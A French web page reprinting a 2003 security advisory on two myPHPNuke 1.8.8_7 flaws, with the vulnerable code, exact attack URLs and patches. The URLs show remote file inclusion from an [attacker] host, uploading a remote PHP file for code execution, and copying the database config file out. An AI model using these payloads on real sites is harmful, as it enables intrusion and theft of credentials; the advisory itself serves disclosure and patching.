Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > myPHPNuke


    myPHPNuke

    myPHPNuke
    *********
    Developpement :
    °°°°°°°°°°°°°°°
    Langage : PHP
    Version : 1.8.8_7
    Website : http://www.myphpnuke.com
    Problèmes : - Upload/Copie/Inclusions de fichiers


    Developpement :
    °°°°°°°°°°°°°°°
    myPHPNuke est un CMS completement reconstitué mais, comme le dis son nom, basé sur PHP-Nuke.
    Cette applic est touchée par deux failles importantes.
    La première, une faille d'inclusion de fichiers, se touve dans le fichier gallery/displayCategory.php :
    ------------------------------------------
    [...]
    <?php

    include ("$basepath/imageFunctions.php");
    include ("$adminpath/fileFunctions.php");
    ------------------------------------------
    En effet on peut voir que ni $basepath ni $adminpath ne sont définie dans le script. Il est donc possible
    de les définir nous même. Ainsi, pour inclure le fichier http://[attacker]/imageFunctions.php dans le fichier
    http://[target]/gallery/displayCategory.php, il suffira de se rendre à l'url :
    http://[target]/gallery/displayCategory.php?basepath=http://[attacker]
    Et pour y inclure le fichier http://[attacker]/fileFunctions.php, de se rendre à l'url :
    http://[target]/gallery/displayCategory.php?adminpath=http://[attacker]


    La deuxième faille se trouve dans mailattach.php, qui, je le rappelle, a aussi posé beaucoup de problèmes au PHP-Nuke
    officiel (et qui en pose encore à la date où j'écris ceci). Voici le code buggé :
    -----------------------------------------------------
    [...]
    <?
    OpenTable();
    global $attachmentdir;

    $attchfile = $attachmentdir.$attach1_name;

    if(isset($submit) ) {
    if ($attach1_name != "") {
    copy("$attach1", $attchfile)
    or die("Couldn't copy the file!");
    echo "<script> attach();</script>";
    } else {
    die("No input file specified");
    }
    echo "<script> attach(); </script>";
    } else {

    ?>
    [...]
    -----------------------------------------------------
    Il faut d'abord savoir que la valeur de $attachmentdir, le dossier où est uploadé le fichier, a comme valeur '/attachments/'.
    On voit dans ce code qui si $submit n'est pas vide, le fichier $attach1 est copié vers /attachments/$attach1_name.
    Je rapelle que $attach1_name a une valeur attribuée à PHP, qui est le nom du fichier $attach1. Bien sûr si ça n'avait pas
    été $attach1 mais $fichier1, la variable aurait été $fichier1_name.
    Le gros problème c'est que cette variable peut aussi se voir attribuer une valeur par n'importe qui ! Cela implique
    une faille. En effet, en plus de pouvoir uploader simplement un fichier depuis son disque dûr, on peut faires deux autres
    choses. D'abord copier un fichier extérieur sur le disque dur du site web.
    Par exemple, si on a le fichier http://[attacker]/bad.txt contenant le code :
    ---------------
    <?
    echo "hop là";
    ?>
    ---------------
    Et qu'on tape comme url chez la victime : http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php
    , le code PHP pourra être exécuté sur le serveur de cette victime à l'url http://[target]/bad.php .
    Mais on peut aussi se servir de cette faille pour lire des fichiers du disque dur de la victime.
    Par exemple pour lire le fichier (créé à l'installation) admin/original/config.php, qui contient
    toutes les infos de la DB, il suffira de taper une url du style :
    http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=DBInfos.txt
    et le fichier sera accessible à l'url http://[attacker]/attachments/DBInfos.txt


    Solutions :
    °°°°°°°°°°°
    Un patch est disponible sur http://www.phpsecure.info.
    Dans gallery/displayCategory.php, il suffit d'ajouter au tout début les lignes :
    -------------------------------------------------------------------
    if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
    die("Patched.");
    }
    -------------------------------------------------------------------
    Qui empêche à l'utilisateur de définir lui-même ces deux variables.

    Dans mailattach.php, ajouter juste après :
    -------------------------
    [...]
    <?
    OpenTable();
    global $attachmentdir;
    [...]
    -------------------------
    les lignes :
    -----------------------------------------------------------------------------------------------------------------------------------------------------------
    if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) ){
    die("Patched.");
    }
    -----------------------------------------------------------------------------------------------------------------------------------------------------------

    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.phpsecure.info
    Date : 10/09/03




    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 94 millisecondes